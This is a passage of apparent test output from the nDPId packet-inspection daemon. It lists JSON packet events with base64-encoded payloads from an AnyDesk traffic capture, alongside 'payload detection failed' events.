/RoOSFIdMTVrBn9R4PTKgF1zpd\/BKJ93b7nMwdGPRdxgKyJPeU4p0gNYJGpDVcMKlAaZBgKeNkvJcU0NL8StFdoDMdkF1tlO5bqySYwSqbZOJxioTH4irhN0KFM76sNXssTeGEbheLU64mkEJ7gL+qyd7iyv3++DY0rChkV1bGq8uU\/f3I0DShCu5no\/7eWnfKLxd02gaOGPZs1qgMchI5zfGhDrVTixLqYWNS+bjHKrNQUswf3zkWNRnCKE8+NthiFXYmhCW4sROJ8F2zz4nEb6sXNVG7qTOg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1563,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4461} +03749{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1564,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":570109,"pkt_caplen":2543,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2543,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgDRAAIAGAADAqAG7wKgBstOUG56PKT8NWcQ4LlAYIBCExAAAFwMDCbRZ4hNO+msWRf7bciqeIIJmoPWEdXjLOfApv3kXZeGdIK0dBFB+ZdZwvrZEcgqHzdHBde0\/8o2FIu+K95VaZSNC6u8ojXjat6BQJ8Mwvw6Gr4DoG7SvcV3p80aaYV08aMdfDSKrPIyAIkx3nR7u25JKzkiUixyzkCzFiQNtcG+9PJL0U02Y7oSGuFX1en4JRvUPFasgKgPr+Rz2agSGRuktI4NcsN3tu1+qzZgk0kGLk9pIjwlDFasGmCRRZ2SBz1RGtsk5TPuld8+jXZMcVjXXcZIIyikiXhaTTFJv7kdppmJvk9+lUYVCXAfpFjmxZQP4UZUy6r5lOfnbmrMcDhwfJlGm5MbOiD37\/0+kDHsFV4pCnG6B7twZnG5F+28EDskpi0TUezJuwtFKGozQd1egJMEsV65Tn9pnSjFH1Yjbr8C6Ps8\/sWuYMmgVIPZ35FZ+VwBRI95lZplHO5K12CwzrYdb\/iMApzmnoTxoDaoXj9D4Lr6d\/m9xsa8m+drOCUt\/r6j2EE2EwP4pKmbdQBaAZMcQYRF8HVY6HeFTv6Q8igKKaR0b\/0nPDdOIuyHx1oO76xg6iBV+AaBK6BxThLm6thYb1fcoOesGj4jp7KHL1mceri3EPMYu45JEVRvAu54t+ssMp0pFlP8i91WGV4z5AHGAZfjB11mqHGiMYIr+F1zSZ57yDG2BFXiUFLtu+IwRl96z12B6yxjTinUUFoMnvFIc9A5ionalS3NwmDbOYRj\/Q5uD\/seDAESoUlyXx7jK+cvb1rWnAPOrnjjXzqhb138k08w2PywHWALWwQ2xr2Lx6rKglYXYaIHDIU1HJYEqaYOcVh5hI0bFOm2fXwO8paVlipffMwpdccgwyzKZoH2QXJ+zLpALZFM+3bCPnLln2H7+FR5OxsLZM469bpdP4rvGwHoXQOzviEsjJkZhwZ6OSrrOFVa0a8\/x89y7TJtsNsSQRdbZ+dh3oJIHbd8F7ARTM4g5lFkNQnCGOlImsjIyqUnkYdItH7hGxf+SyCDz\/sPeL53odeQLip+QwFWZqe\/2gaXl35EIuQ+4ZNoadT4R6JcILuhDihQzb\/Gl85NC1DNsGEepc0IO4wn72RMe5\/cOTkMzcr4O2W35YOL+OTv9vd434cSDRmdZY87mDxjq9XOgoeUUU2ha894Pg2LztoqQOUjbhwNhjd8BDCEmpHJQuWSNjsEyDw7K193AgwGnMjq6eRra3lN4Om6pYxqDruvZMe5ltmdblH20Qo5pw0p5XlI3eRX0zwBHO29qbRtjVCXKr1zLXyf8I8pMD1CHWpMyFXCj\/43A+q8OzPaPa2l03KNa\/ZjD9RJRS0\/8rHKnZFaI5FeulRz1ofmbbR\/zUqW\/r50vyiJp9GLktzDXJ9AlLRk2EmDQfyIT3s4Z3wF7i9GnGEyI\/9YyMm8IAHHzlzbRM7anIcYYHUmplTdGPKSO2ed+A0lfJYJYlr6J\/HJwxzETGDAVCUAgm\/FPZAzkgY5zIT39Q+tLaC\/rDghqOBVMiHcO+HTIToVC5asxKfBwg+INREWLvAg1VPBtbZxDPy9o9felOB6eziPTXrppc+wbFr2gZ1HWwNk1EUXPwJV7WQo52LbfWqvkgnBRV0nyxresJutNgxXJzxCbd5BbBfKK0EATLiY5iND2L4JojcLTzSZv716uPzD3o\/pdt6h6L380mwFxtBH+h0Bsnjtq5PWB8B1OvqTs0EAAq+voIv0K\/gcXa0ddLgUDKCzcc8BpAx1fo13p4KONIUdS7wE5kLwAhK6PJ1LWioe7mM9fCJ5hvUsomyK5W9kVa4IKELWXwLlyaWhLzx4UchGRbvotpiAELOOAvlZ7BlQD0f1WK0k6kO+xHHyAo2Mnsh2cKApuvfO96eKUiC1HMJtC9Az6CQCgGoAI\/H4RyV7jzX0gRewZ6yLa9wx7hb7chbADcCe57wpXP7agIzVGFjQoP\/l9cQwdA5Qj9Uc8uWGSBTKpUF5eV\/f9Kz7XHF7ZjymfyacP7T0P4gJ5OQw2\/Wrw\/QotoNubOBpWN3jopnwc\/RK1xcNdMTqSI\/BtNzjNvdppN\/d91slgLxOlhEKXqJ\/ljGhQl6GMDTrKNqF2c8ZZAUmSZxuWOS438jJh8cLpaiiqj6RXCGGnbLEv9mmHDJZuO0QnrzV5QwPfVVYHC73nwSPEs5wn\/aMryvvdDcJPcyHAI3+WnmbvzL+pv2P5Uv+b2Dgatd+yjcstFrvr0HfNWhyG9kk9KIF3eKsBKBc\/y0j3Ev5v8Oj100eqQ9nI5MKhB+TaNARf77yG44jtIKTxmr\/gaEh+6pV5\/Y06nhsJqdZPIXMHFWhCBnpqnrlp7BfZ2jqTRBH9mNydGlOzpRUUykJC7R8ZPtrdXjcC8M5pbdsSG4DDR+aeamHQSvLFG+CbSK2BdL98iqFd9ZiyNfIOJosnt\/vfhGzYgshsD1r030dGygEUy1dJsZPBeBR6dzs\/BOKBruFAbc2TOfmb+6Uoa2ZFYjBlPyB9f\/KIlm+vfKQ1nk8pBYLSH4n16XpHk9iuQ76G3ZQm+BD5AfYuWkbdrkAGQ\/TIvKgiMEkyYspm2j8wHCOKpyApHDxB1a3FqmxfUoqUPAtu7Mdc0enxlowTvmW4S14fmiIS8AxJV4vW4uRVYzXi9lTPooFUUHtLFDpOn7nH+XTOlPg7K2tsTm1RcBFHEOW0\/iq6YVdD7j\/nw5Zs3hZUuaByj3g6PLmdy63ODvuOXEVm9v+H2U5tHF4pqhIsA5ciNHoG8Tv2ONHFOkUpW5hNaGjJ67GQq5dKZkyL6r827ZwIItNpNwr3SXOtoUzLt5zM3NgDFAGkySgtFSbSJBDE+hEo7cbdezCQ8EUTLKUSjL7IgXoqYbw+gFUw8Q\/ms2TisE74H4eiN5wrtw+2JSPetnIAOdJ15ZjMkzB9PEZlGJARdtR+xfvt3Xl6ZxIDrf0XxfjH5YE8WpplXL6ubZ\/2BN8PSZBM+rEfWzSOo9Ei0ZaHb9c959RXmqG4hO10PoToQhkdbNQM2KLaUFdmjzI7\/S5c6efESkPQgfEjzSR6uLeyUVdtvuc4ehvESWCVNg43NL9iU\/QwkPcHGHaoMU1Njy0zTQLRA9RYlVgugelfLJ2EbmNI1Sa8N3MdMrpdqkii6pIkdeQVJz8Y9kENKen+3QKRNimxx5TGSYjJMHDKfZKk+yAstax4LRcKwygWDtlMxOthe\/sP6kRKfq\/QLSipH0EyNLzEcVPFVXcTHTzr1ZuF\/Csk\/TXjKDoRgmTt7bqXevBJz4sNFjlUijnShkTwwMtjH8dkBdRHmm5K73wcDrgYNjQ="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1564,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2509} +06057{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1565,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":570461,"pkt_caplen":4240,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4240,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgDZAAIAGAADAqAG7wKgBstOUG56PKUjGWcQ4LlAYIBCExAAAFwMDEFVZ4hNO+msWRk4kEQ+aj1bPnqTxCXHRz8Y+OW3oW522Vb0cZb3YK2QladkYcd4FvjzWQUzDi+hGgFPPCP\/IuqNrr3WLrDVTiPnFRldTf15xmw8Sfv83HhYBV30JI78JyJszOLlHWpOWp2RVo0m2oarORCZI6BoD\/cCL9xqnzfjTnQ3avyGwbuUHQ+gR\/pSb640Jaoeo2cEy+B8Zaj1Ahzif471JYRA6hOJfaNraRiNcIRzKp6VtcYMjhxTZSO0nrxlFHXIhtRw+tdoXgn32mrtY7eN7inabpVdnHFZQ+QIOmPCa9ivMKhtSBvL2mjfo5w4Vu3QxZuTnqT8swNmsgWbTYd9+zdoc6gJZXXsYAfthskPjnoy1ECb4bzofyQTWmGBU8ftTDjRSLIWgA1TPMgmJ5RFGQaoAmeb0SE43+ptWY0gCe0U2g1RwGNIndRGEIZChLiiXFYTv+XccTvM1LoUsUwBFdHSxP2TdBilTZWjF9AnhCwfPyYATu1MEmCzYTFwLNZ+pTx5nIYU+zmKy8jXxiAuzMfm0fVMn6g5GY+TsswYHReqbivHb8pY3YaArGmGHMZ4KLh2UMAD4UrZV5sPSJ8dMmQ1uPGLcRpk4TMxkvneZgr\/Lx75aeOML0lFgzQGC1oXGldVmltHd6BGamR\/idYnOfVpLrvdCNfP8iqNsyLsNR1\/whP4mQB7aL\/qTw8sBMu1obDwn4Nc1vgFIkEm9AnHlw2VBJnfQHa9fnmNqhGF7nXR7vR9cDLqeEKjtWOIXBmahciMlVYa3MxRNplbo9vo\/HAM1x\/0mB10loShPmApBVeaZKF7PF+vvrjoRQHIDuPAjBDv5grTkj9qotJUj0EW1MIf9R+xiSt5MPOQ6bv\/ai5gXlqK2\/WHvXv3H4FxwXfFYJL+PVrkK5Cgt1Bjxv\/dMkKZFkyga1SOpXrPTvMATxQQ56iGf1PBjAmeHmDU1zTeeu6FfxVm8VlTbK16LXW4Ln\/+cvYcm1Jdp3HYjRMSeEHsX8cvVzcOIs25wEK2W9NvIt9OZPZS7wOHj+85HJN47rBw1QlHAeYf4mmsZADYBWfcVQGyBbHXyzeJKoQAfN5IW+jag6qzysIKfc3qEJht0\/yVtBoWziDxUovpgSULkDDlJDHRTlCEVhAMb4XFQHR1e5m3xycu8f187JO5HZEE6FcMrMQIJ01zF0MUfutwpF0UJ\/JiYmW0F+36e7+rpPJ6cWSh5fvqePJ2AO5DStN8ccQ6eRv8TgmF3WG5CnJS4NyofZ9yxWrijeKFJ85OtTvDVAp\/a+Lpz8nfqNqDeJt16miqKkHiLrSkBuKKkJxkozxFnY9krEZoAH8M1YH78hy4QNBARWia6GdUdLZ9WqK10YnDoCHDw9cXUiZRV+NO\/aaFPCYFxT2sUzR1K857iXPPBpBXovlglkFEXF8CVoHGTgXbfJnHeNRbGw4It6OREHO9rxEdjGCz9ZHJQJ0jWGKdzPcBpaQLzpFCvapPVWWkE38IKRCpC3D4dBHv4aHBLRSwG7HlAEFbYEcO+aQ8CgxsoVNuQbPuKCtcKV7DlEtIg7lrV\/Fwwx17fxwM1hgmIuUhMVpGr8wZPOQMr05Ei6Fq9BaA0CzijTZtO5q1AqcdeSYG1uBE4Koly1z981GWM04t8slqE3SlCRXQsD4iZ9fwwwgq62+F6RKAO9iP\/W9ivHl3lXZ\/+xzaOvyEUCtxOdvcMOedROgqtFUVVpjx4m+MDIavT1F37sZYEKn+dIz69pA9bixKuNTnVrpfaxrPiRKVcJX9go7TfHdl69tqmHrz67TF0Yp9tcGcyk6tiPSnuKlj+d52DunmzTavLU0No38rTm9YMtKh8PJbKv7uMZlibW75Jszoo4cLRgdlZPxkfiwbHmEESMXzvNIv06vy1y4rEA+4a9s7hVKOiJXYQCOlkYgmwPzmXnQfpdYFUkSJJN0LC2ofnogvS3YCj6Z7+tWQZtqwBKn\/cNnhcfLchR56x02ecYJVQ6b7z\/qBlne4Oee5bDA9XM1JWbF3Mdj0gLlzfDmX0hqJq6441qxQEyTgz1AlJ6Pm1GIKkVWDfOu2dnx6QakWVvRFNWk4i0HKuPU\/AEYc+Zz3b2iWi0B+9r2P8H8wHVFfNDgLbTB8ONrm+l70Vtn8IYz4ykqV\/iRhqA5EN8DZmktOl05Hiu4pb33KlrV0NcVWGPUzxhG3QqPHxxSJfmBnPBo8Wet1ZWRQJWwZ0dE71lfqX7FYaHSFgE8yvuXYL8kiKDFMxG0EyrnFqqX2o6IS6tYCK6Qtk1BMfyBBfVHd4Ly8pFZxRg8MNKMRNaB13jHtS9Fq9wEngjPS707EaKiPCrTd4LQU4a0TZ6bnXuJhYjsVQvDyXxtDftJjTT1foaEFGCV\/fMAyPwApqSl7idw21zG8pEAmFUxwYAXJwYR8ZgsNRcWT5n\/SBgVS\/u3keiEzMk6at84GmW\/psTBmLiVlnQq6BVNfXeid0HgfY4Ry5Ijp3LJLJpVYijOAUOPPBONjpDDLcaLAaeIRD\/51WVvoaLNbVmm8WSy9SCd1Yluh\/gJOFtWYiS0u1pX8SG1mCu2\/t0oC6Jzva+lgu6B9F+cMyEM5vo2nk2pRUp\/S\/3yE\/mEkRu86dbTKbUNYH\/pZ7ABlvIOmLpdTUgDEZOg2ZrFZA7CW\/Tfbke0yRiRNa0w25rO0IOyMtvApHBeh8hV+9rO\/SizQy0X9lveYQg4ZBjgclNQKTGNBzLSnb\/x1aoaKKqzCwLoKLehA4+zPjjEPz8+wXVS6H225BBwVHiulbc1AouHeiOBtAa5+5t1gUvETb4D5FazRGG4rZFXenjeK0+kSxU+Cjy+wVJaNncs610Dnx3BT8BYKZhJUBm1aMkyZ05TUnHO+CLIXCTP8SsQ+ZtkA5VhgBvW3Pgke3gNHqSxZIm\/uiAoqVtJMkk1vyejr1uVDaUf1GnzT4VUHTAS+WDemZv5EJ1OMT7GNVL5MWmxaZbDCWYMb+Emz+t6TxGCTP+Pi\/iH0NFQj1xRi0nGHMpapM4uJwHM8PG3SL4lQRr1H\/EJ57rB3LLKSWn1RlaFMFGa14D\/NL4qQ6DMvHbxo6t4luKBTkp9uMHqFkNVhHSmbZ6FfjmJlRSqCjiatDE\/lLugZJ4RLOYvFNUtJIQs\/EsPLJQbpFGpYXcJgy\/efvp9KWDWNd4KSu2hC4gP7n+H+TxKbdJQhdSUxDhMBAoPvT3buZLVB5WuovtlClKfYQPZ84jaLx259S1A2thO6UFD3upuI\/TSRB6wCB7wR0+ngsR\/yJYztKIm70GC59DJtl4Psq1qV+Uuxti9GzXOpi4aO+uHrmTLcqGcNZSayvWYgSm\/yy2+zUWsExsoGP7Kc8bSo9XfU8QrXV83AOXyP+h2qeu5USptjL8VPgIsT5Lsi0lvLbu+EPuFYS9kUmIpwxKlPg3tOEIg\/T\/vl8oTxCFb9ZfibcPCkvhD\/ZPGbxJLIJ0PPEvXmfUxI\/dYOVi4Emp6MicsVYKfNJ4O3OueHLG7jU8pKDqPGmx8+ecGnyViFt+CuSXOcl9DeVbs\/GF4bGq5xaooBvwfXFePbv3SZRhxN\/05E9oygglv0jK6yekSGVEBbtMGrrrazy9MDr6fKbj6JWla6PZ318awYPQC4oaNlEGRb+La3TgrbTfe2\/gpSmM3P+plRGTR37UR6GaNjeWzRaA5i4rSG0Pw475DxWfeh9DLfI5y36CklYNKvx2u7lLQlGk5Ic5uDXb3YhubhWaV+XBz49NRu\/RdHrKPkatqIKOUH2Z\/4eorynfLfugy5AztRSCP4HoXH7TtY3EqdXcPgxp2M3a3vZ\/geH9A+ygv3bwMEzJVItkYkrkW79CndownU8IZAyp5M7EAEEa4gxU+ouWK7ZaEzezvYOEeAU\/L8SHLIFh4\/oY+5WD4C4DcX+8DDLoJ2\/DhOoeg5minzlizrwCpo\/rk8VFK6qx3Ho+fcJ1QdLDRj3WRlPXTM5FtUTDbtJlCLRBpfJC\/YxagDkXUnEhIZVS0YntqcYYSSjUCBYWxh6ltua\/PVoiXk09sqD8px9KGNk5snzf3svewVXRKvkgjijjuKnp\/5C1HfW3v8IWqrlWwTzZpkPrKfuClpgGrF\/HXUhJmUoJadXx\/ClXNV7JAY8AO1+1E5RIEVkxV3cPJcUF3dmXhRsdLVP\/RGbEeay\/4WaPNi\/w1jIlgC49X7a2j\/9+a9DOe0lDlAmqfXNRmeI6kfXmLndlfpfOyXRXve0xw\/oMy\/WARAyS4kwDolKzUC5rpbJHVXshfobsFm67M7PCKKgVMAasvASf4gsdIdT2n0AkeMBp40NC7USL9i+1yA3nqLBiDKpxQydEq8lg9zBP5oZPhMjx5pBVousXcql52kFo7x\/+i4e+t731dmvPuaqNNyqBebka8ftNP19bR44rYYDtGvPJSO2qHZbxhxgWepLt8QphLKqSvL2xd6FdtGUJajqUotIOOjnbxQL3P+fPPt4yneC1uXkAt04MiHMG\/vYz3iJEeVW0yZ6qbND27xIMt2dpWqUwgvwYjoa\/BowZ3TlkegV8NJ9kUNBYujCSPtmZ23FgOjwZ1oqRrBVfpfudSaPLxdBaYMjAtquLbe7jBQug6Sk1sKv9u\/P4uJhBW7ndxpPZ\/ctBK6m54284fMooioguKiE\/OMdNN3YNMdewosTwTyM830F7gLHcCL1uklxlYRW5d6wX3WTO3G+79BSL9bqWhjgK1ijn910bqOWnxWJ89yECua6hac00LXriul\/o0Emn07jmVK7dtRxPy6BFdzpOylqGU6lo62qBdp7\/NvaM\/WgD7CiZAJd8Q0zM80\/+vFFw2mQ50IWLtdiKvTf8RR9FwHlunabxUT8DcHPJdPyoWoVE\/h\/AVjYN5BASkHgoe2ShgDHVEd7o\/l7ZSpfT\/kEb2eKUiI7P9nskRi8CcCrqa5kO+qb4obEp6S3htUSAg2U2eXct9dAn7MXkXqJGITuoKx0o7Q07OYVj0Dchd0VAKNV6VHgS5Wl2jp1lL1pjcJ96vm54QAM8Q2onN2KtlgO2vcg2SyISU5ZagJIfevGeSGL\/fuq38ZLqQMOxR+EbDvPK2t+vICvekOyjHjN9gfoakvA7MVnNxugmMqKwJNJ5GHpsNqgpUwrqIHsFY6x6VnomdXAY56HvyHmaWTne0lO2mzNaMVaOdmfKnDZgqMyrt7mkr15d0iLGeLv0IfoDl3ja8PVrU4OzvJTNRB8CxZIyblrLyjZq99YSr55TRG95kEiN0OkBNoy3HJj4V5FVBFV8wXFxGv68HrZEZiaYshTjmI0xM0A+1XxFRQ5Z\/bdKkAjIbNtuFGVGGpBKhQokuJF79R0haPeb3fC5W52EYA4EbiiI5JVFu6NomAz0kYFQ00v\/Q9EX3r+rg\/IGTscfY\/jvOek9QopTu+euAp1SIucT5TO\/D40LvCsf4ER2j+nhheO48lJFwl63S4Ox6vmk\/B3SeJ6p5wKRRNjRbddlbvVfKmE228F0jX+M3p6+A+X31rmAV1gLug1Gu+0uKGyKZQleA6gRQ2mYeg4ttF0hK2\/YuWNEoXE1s\/clCJ3WzukR2AYG+iGlw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1565,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4206} +07811{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1577,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":602658,"pkt_caplen":5558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5558,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgExAAIAGAADAqAG7wKgBstOUG56PKWIoWcQ4jFAYIBCExAAAFwMDFXtZ4hNO+msWSda+mGTfRJEPUDLnrIEfr91k0l6D13PdAYrPNsJp+J3xesLHnYJPCZmqSbNzy2WM7Sy0VJ4OeeJc\/ocodMBS5lZQTsNC5pQx1FcobkTCPe+uAbDuY4t43ElWubP5u5JeDYORu9QUpjj4baTdigXxh3RfMrmtBWpn05MmjRmRK3bFMlJe\/jGofon+NWc0V19rqBJGuns1VMSXty6xkDf02T8CviM6yRZ8DiCB1Wv+4DLgF0ls97k1G+9yXdMBW4kEPa8AFFZesBmX8nWvDaSgGPy66xZHPLSuxqwQWJD\/tsgh7VaGl9A3NUM9AxE84\/ntuJVhR\/7WoKQi8MfRSfCn1szkNsppI5z0Ub8W7uyUj\/HJ4LnbWaoYDnq8pN+XYxVMlGMfvLQNnLhpljW62MPn7XB8VodEkMYkqZoiEa6R456ujWI85OhOSf00MkcKWNS+OC9MVWvCANWhxQrOqrfswhUiyQbJhUV8FAgNEgigvJEhJj6MNVi0f4d\/bARjn6LLrkCUjlpuvNvoVLdnEi7K1Jnw6ESLwrwYTaYTeiErHCL\/YzpYJtpRv+4yM1GjGVclUPIKpvukG3g5xIE44Ze39+TcxnbyWAYn2OK1cz0tXH+LNLhRL5j6Pe44yGb944kot9CZZtXp5rmWSaa4GA7\/AvQAWf8utSJWjx2vVq5Ez9UcCnuwSz6b7Ggnhztibg7TT\/Vmq6J983W\/b++\/U9\/9Bexkg22O0XGOWdbAdBYf+nCOwUsmOu9TUx17hNiLm68TP8PdAMCD6cw6PB+l85kWfaWTo59VYtM\/VmaWXdbzICr6SutzC9ufJv\/+RByqgr9Rt9A8HyRVpxxeBQLaIxUtzNjOOEsM\/FlDBDUkNILH3mmlh7RtkoXRdjewCAFTYMvcrNU2Uvk1NdfNQSiPbZCUr866u8rS0B62HNkdRpra4YQfh2EPyOZrUXZ4BPUcsb48osPOLhKY5m3Gxo91LnQiMY5LUbgSnzk4pl3gT5GveW1VRcLIhtJl+lghDvCTsmLf6C7c1GPbtCLGqTAIGVRzDOF5q5yperEEqm\/VML4gxRIyw3t3bxR0c\/4mF9nTtyUync4EBLAoOR8Byf63fgKTYvq3ACOnQHJnEmdPGQd2MCywrhwf91GgTecrn4o2a+WBwP0l9WuvyNlWMXbud72pwPeqLFFqdBFtGq3vvhIpXjpc7vbdgKNHLrUl52hJnCZTxXseiL5zqoKZVAsddovvE3cZgDYgLB+KGl6yLP4dBl3+Xoo+fl8+B0uElVgX7ddgrZmuFg6XP8IgbT\/7F9mc9RGiMUMzmLB8x7hb9TMOgPq4AtdtwcwVmFitqw\/Me+cUrwY8VdJPSfusH8N9xpl5KaNkJK+gBfQ4V\/HpY6btXZH5JBxiOqd9yrusieIPtaKcrc1qE41u7xh0ymgoNCWnNwXFztZhUWuPJe4aKgB063DFQV7fvwAtaJqI5jJFWqU0iyNpEqg0Vm7DEFblCvUpYZeqGySjtB0Oid7mv7crIBZg3y5vaHSoutJRtLeYB1ZP2fmJVQo4rm3WBE2eCWddwpPYuFtg6RrmC4yp3CoQBRP+W2e6t0+ftK5jUbA+fz4iBO4El6pK8SRFOC3O3hElXBbVzakmznBI6NZzW8ldZyE3C0sKZFOjBCnhl59wJXgwG3\/9ZB2WqDbViy0XL7f5\/3KkSles3Q+Gs7zGnuMh0bgyx6GirujlvDZaAo8FIdXuaMbF7vCBu7UZuAb7xPHOFOL5baNrJ0to3RQpoMF07Vi\/Rd6uIuk02KEz7KjBAGQ54M3yWDARzuQ8h2xCPyW9j3ufB01bG\/6ry+oDFtGTTorFb\/aD8zOVNqh5zLu6FybmvCHtSadIVoWIaMZSjsyzzHHV2wniTIKKqdZaolUPk2YPu3W3HTMbuTV\/2qMEBHEJpqkUe8ToubtZhWIRR33SgdmzqJ4wsoUPCXf0tAR6zG4hAM0UmDPWRMtn5Oi31ZFrGwPrPchxYwQcymvSV2oBTanQGvZfe\/ibJCqaxJNmQhAwz18ya8aysFW9oRkRSPbf0TXU0a4x0IJtVr9J8J2vwhNT+X6EMb1RNVnJRWoxJJQvObqdHmLTSJ+Cw7BtEoVZAojsnklXxIbCOoqqBNa13OsDSIFPbebIcnpfdw3Le+HNkUQJ5oFRMFl4YTML1X8Hi7e2BODtcaNcsiErImmzRQSShCVwlSXfsB9eBtvTP2CZIiiE98iKol+OQ\/RnyMCkPkHYRzVadgar+yReiMIO1vBq923a9hxmS1uIKrOIYffrpHkDeIj9STeP3iWufhl9NmG7rjojlHqmVsPhGe\/i\/sknI1VveUYqVBDtJ6fUV2w3ak3qBpcFnNjtYkO3F9fO7vHeBjYPPxJ6W1ltB8twtVNnDmDdt7lXzBwKJqp0vT9YXQXAjdlPtR6mBnbipA75Fgv93q1QCibwkdCWed4msbDq7CFnSptAgLW710fgFOMo60P49DknF3LC1CiGTxn5NzKYONouB3UFap0UCJDOVz6\/SxREeCgJs4hV0RcFlb6gYtmXmmEnCyYCaLkEnfbi7bN81T4RMeKFlmVn7pWUrNAB4Cj258wVaF1KMOIKAi9qY2XKOmnVbQVKoAQeJB2hhNx6bSSVNOPS2ZC185PtPDQpMbwAIaMfFj5+yoYDvzqoCN3v6LDJTKN7opJN8v2dMhNawBvFc0bwocPSGuzoR7o6l2ruSbHY+wl+si1WcWDw8GCjqL0jXzWteHqsmVFT\/4+qx8FOF3ygwb8Y60O9WbPsQSrz8JsYPpeBS3Pfkt1Z26OCOb48wIX+6N\/Cbgn\/QYNujtbU2EG2n4LIWjPVqPgmXhrYhJU\/r+RkxrnMCqdcDu6j\/zY9L6vLoSo+WqlMTdp4QTv+qaRSfFpsFKjkb1NCRHdFlxAYf5CBnigTIhJXcRw053gC1yj0wJtAmyzVHJU\/wvgntknP2VOQmbcplO7aopeg3qzcd2C8Txk9MYvZ2tthJ5iE9cYNGnkLOGDFDLZf4bs9umZcFiNa3o1XjGjG1E5X43z8hts\/VLz1P\/EUw0\/HXiLGnegqkY9bIWpTHTQzQsldKC60enD4D2lLzbLN+Y34HXQLFzEi++RnaGpSXBi7W91jypsIkfvCCCbsg2HPo7My0VbcZ6pgxK9H0ZoNCo2Ki1tCef6aW81LvIe\/YEovb\/Lq+5u1Q3f53pc6pzmJ\/2xdZBv5WGQuk0xa0j4dMU9ohe0XWJwzG3TUKTFjr2ccLljbUPFdNFoLX2r9cwHirziHru8gldYkz0uQrEVX3rqyjXJz+1Oj\/y\/OpWGe31oJyGO47depZAPqKlDF+od4JIWK8KEQaDWLLYJswSxclk6t8CFxnlLtNqPQliR7S6j7S0VGM8FKfOE9tUrX0GsxCD2OAEvb0veAxVxLnBBb8135EH66eMMtQ0wUNWq\/7TQXBBJhBmdb7R96NmG7JIARHrPVYplqRJSFXr+WE2MIcJXWCEmbTKQ2hE4xa1CHb8ZHT0vCZih95I5JBEDaNnyCKMWb8xyzcf8fHoBolgiHKXSJOUFGm66xEogwC62zcbavvGQ18V+M23iRSj5ZjtmLoCm42kplTRJ8Ja9qMc0Mz0yFeeZ1Xi4ouUgLmJeocxbump+RrGpSssqU+xLQBRWq3DnXmzF8v1MtM5b7c7wNybkLd0pTaJyBoce9ZvljPAEkL5mB98gRhSy4gHa1c8FLrV+dcj7WHx+WYboxa2+idzNjJmTO6fLIS7QruYkKKw+ynZSt42QD8ZGJCh2SzFUnVWzUzKLIkkvTkES9iUI2CpPMW0OcvI\/TSPi87AGuIcBydzzGHwMiD2vdsWGPfrf+6ij\/spAsuU0kKt6yjMyU4BAUl7EekWQwyIBfsWB5CUpCxsLi5BIjA9BJIhKmEeKhE6\/fnokJ6B9fBCbQ4OlKozGdgv4nBTf9K7ykKn3gafWCkdizlt\/P+OjrJ1Y7gvyr3aKKylQyvtueq3yvyh+iIwr7BvHtVuEo1FstOAhojEsx+mHjqEQwC3DvRWtjd+v5xHoNJRZcyGEicRjKTIZvleIYppkIVtYSpTqxIlEjrslPt\/lg0OKyjCcy6sbF4gp2awtsoSJdPaoRDWXymVB\/nk3WlHuxzT2IesMEaEOaC8W7lR6fANym\/0tTfsB4rGb4ivwKi8OczUT4koD5OCjhOpj7BsmVSE+FZkZGBXaxfur+jnhmRWIv85WxEmGFhRcFjlHxRNouftVwifnm98hEpUr6psSTT8NkrsbdGLLmNmMFVTUMGTLnoK1cUFG4snSmrSmg3wTpXztlep1LrE4oMGk+KTC+ljWylsV1PloRSmLnv7tSsqzZIEdoQ0mJo5jzVGcHcoSdwTqjBcpmXwu4Hj\/a+fSeM6nrHyxGcl7tIYx1n3udeAHFIYaGVhmc\/sxfFIAhgXlmAX4kG5ArRGyxc4DqtA6Eie5n7r7lfkVjkXInG8A6neJRKvPeJw4Ibzpgp4YiunReIY5gAp8KRqYmIplZGqCkjXPtmGuZxvsC3mfBrg8zCEWwJip3gaTETRPj531YUbgyciqtQt+4UFJR1CteMQTLhzysCAGZSwGMymSG2dYYZv5CK5vq1STfzhgkGP0rqfYbJcfijNxRakFuIahuORo3t\/AP90q2JGlP11zSridxBxRJrKfEVLI2bPFRJLPSWWIH9j04bYkdXGVwkFJFQD10jBGfMQZY4dpFwtRJUS51gLZe\/RMdiizL2mflzHkOpSDNPtginLASNGw+19SeOK5jHBIT96\/NpU\/RRjkOsTg9XyNTYDHWngHUIuN2fQHZvA6bnqu7CeWRuXzjhjK9k4FonFtg3CZR8OMEwHbokNy5K8hsvG9AZPhbSDLbU+z+JHrtknY9gARaiWpTAiyCD0yFuLXY38cnps8rFlg2lBCnEuyEt63eStfZ8NXVxyHYPFlL3sIMIGahkKDVUyeJc6Syk6j7twNU7dwVNboduOoFEGs9H+ZXp7k6byAcD8NAw4tD5jfIHPApM45XOkqlPvqwFRsrJOd5ptN9TAWHaL9VYuXYRxSETTGqx3+S0v9IgaLPjk13h8TDjKSmUQzECzt468xmzLVg1go1VkTEUODf+UWwEIGdgShr5+pUq8Ao0a\/0tyBsIrN3+lqL6QUo3MztYOXXJIBawHn8UK6A5tnactppX+ziAaFcj8VJ3RULZkjwfat0e\/